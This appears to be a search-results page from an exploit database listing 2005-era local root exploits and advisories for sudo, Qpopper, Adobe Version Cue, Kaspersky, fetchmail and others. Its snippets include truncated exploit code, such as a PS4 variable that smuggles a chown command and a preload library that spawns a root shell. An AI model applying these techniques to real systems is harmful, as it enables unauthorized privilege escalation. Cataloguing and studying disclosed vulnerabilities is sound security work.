798 matches found
Sudo <= 1.6.8p9 (SHELLOPTS/PS4 ENV variables) Local Root Exploit
No description provided by source. Sudo local root escalation privilege vuln versions : sudo 1.6.8p10 by breno You need sudo access execution for some bash script Use csh shell to change SHELLOPTS env ie: %cat x.sh !/bin/bash -x echo "Getting root!!" % cat /etc/sudoers ... breno ALL=ALL...
Sudo 1.6.8p9 - SHELLOPTS/PS4 Environment Variables Privilege Escalation
Sudo local root escalation privilege vuln versions : sudo int main setuid0; system"/bin/sh"; % % gcc -o egg egg.c % setenv SHELLOPTS xtrace % setenv PS4 '$chown root:root egg' % sudo ./x.sh echo Getting root!! Getting root!! % ls -lisa egg 1198941 8 -rwxr-xr-x 1 root root 7428 2005-11-09 13:54 eg...
[EXPL] F-Secure Internet Gatekeeper Local Root (Exploit)
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com - - promotion The SecuriTeam alerts list - Free, Accurate, Independent. Get your security news from a reliable source...
F-Secure Internet Gatekeeper for linux < 2.15.484 Local Root Exploit
Exploit for linux platform in category local exploits ==================================================================== F-Secure Internet Gatekeeper for linux 2.15.484 Local Root Exploit ==================================================================== !/usr/bin/env python F-Secure Anti-Vir...
Linux Kernel 2.4.x2.6.x - Bluez BlueTooth Signed Buffer Index Privilege Escalation (2)
Linux Kernel 2.4.x2.6.x - Bluez BlueTooth Signed Buffer Index Privilege Escalation 2 / Due to many responses i've improved the exploit to cover more systems! ONGBAK v0.9 october 24th 05 """""""""""""""""""""""""""""""""""" o universal "shellcode" added o try to use all possible memory regions o...
Qpopper <= 4.0.8 (poppassd) Local Root Exploit (linux)
No description provided by source. !/bin/sh tested and working /str0ke Linux Qpopper poppassd latest version local r00t exploit by kcope August 2005 Confidential - Keep Private! POPPASSDPATH=/usr/local/bin/poppassd echo "" echo "Linux Qpopper poppassd latest version local r00t exploit by kcope"...
Qpopper <= 4.0.8 (poppassd) Local Root Exploit (freebsd)
No description provided by source. !/bin/sh FreeBSD Qpopper poppassd latest version local r00t exploit by kcope tested on FreeBSD 5.4-RELEASE POPPASSDPATH=/usr/local/bin/poppassd HOOKLIB=libutil.so.4 echo "" echo "FreeBSD Qpopper poppassd latest version local r00t exploit by kcope" echo "" sleep ...
Qpopper <= 4.0.8 (poppassd) Local Root Exploit (linux)
Exploit for linux platform in category local exploits ====================================================== Qpopper program.c include include include void init if !geteuid setgid0; setuid0; remove"/etc/ld.so.preload"; execl"/bin/sh","sh","-c","chown root:root /tmp/suid; chmod +s /tmp/suid",NULL;...
Wireless Tools 26 (iwconfig) Local Root Exploit (some setuid)
Exploit for linux platform in category local exploits ============================================================= Wireless Tools 26 iwconfig Local Root Exploit some setuid ============================================================= // if the iwconfig executable is setuid /str0ke include inclu...
Adobe Version Cue 1.0/1.0.1 (-lib) Local Root Exploit (OSX)
Exploit for macOS platform in category local exploits =========================================================== Adobe Version Cue 1.0/1.0.1 -lib Local Root Exploit OSX =========================================================== / Adobe Version Cue VCNativeOSX: local root exploit. dyld by:...
Adobe Version Cue 1.0/1.0.1 (OSX) - '-lib' Local Privilege Escalation
/ Adobe Version Cue VCNativeOSX: local root exploit. dyld by: vade79/v9 [email protected] fakehalo/realhalo Adobe Version Cue's VCNative program allows un-privileged local users to load arbitrary libraries"bundles" while running setuid root. this is done via the "-lib" command-line option. note:...
Adobe Version Cue 1.0/1.0.1 (OSX) - Local Privilege Escalation
!/usr/bin/perl Adobe Version Cue VCNativeOSX: local root exploit. by: vade79/v9 [email protected] fakehalo/realhalo Adobe Version Cue's VCNative program writes data to a log file in the current working directory while running as setuid root. the logfile is formated as /VCNative-.log, which is easily...
Adobe Version Cue 1.0/1.0.1 Local Root Exploit (OSX)
Exploit for macOS platform in category local exploits ==================================================== Adobe Version Cue 1.0/1.0.1 Local Root Exploit OSX ==================================================== !/usr/bin/perl Adobe Version Cue VCNativeOSX: local root exploit. by: vade79/v9...
Debian DSA-774-1 : fetchmail - buffer overflow
Edward Shornock discovered a bug in the UIDL handling code of fetchmail, a common POP3, APOP and IMAP mail fetching utility. A malicious POP3 server could exploit this problem and inject arbitrary code that will be executed on the victim host. If fetchmail is running as root, this becomes a root...
Operator Shell (osh) 1.7-13 Local Root Exploit
Exploit for linux platform in category local exploits ============================================== Operator Shell osh 1.7-13 Local Root Exploit ============================================== You must be groupoperator for permissions /str0ke !/usr/bin/perl OSH 1.7 Exploit 2 Gonna bang away at th...
kavLocalRoot.txt
FYI, a new version is already available and a proposed workaround is described at the end of the advisory. Peter URLs for this document: ftp://ftp.aerasec.de/pub/advisories/kav4unix/kav4unix-local-root-exploit.txt TXT P & C 2005 AERAsec Network Services and Security GmbH The information in this...
[SECURITY] [DSA 774-1] New fetchmail packages fix arbitrary code execution
-------------------------------------------------------------------------- Debian Security Advisory DSA 774-1 [email protected] http://www.debian.org/security/ Martin Schulze August 12th, 2005 http://www.debian.org/security/faq -...
Insecure directory permissions of default installation of Kaspersky Anti-Virus for Unix/Linux File Servers will lead to local root exploit
FYI, a new version is already available and a proposed workaround is described at the end of the advisory. Peter URLs for this document: ftp://ftp.aerasec.de/pub/advisories/kav4unix/kav4unix-local-root-exploit.txt TXT P & C 2005 AERAsec Network Services and Security GmbH The information in this...
DSA-774-1 fetchmail - buffer overflow
Bulletin has no description...
[Full-disclosure] Root exploit in Lantonix Secure Console Server
/ $ An open security advisory 11 - Lantronix SCS Local Root Exploits 1: Bug Researcher: c0ntex - c0ntexbatgmail.com || [email protected] 2: Bug Released: August 05 2005 3: Bug Impact Rate: Hi 4: Bug Scope Rate: Local $ This advisory and/or proof of concept code must not be used for...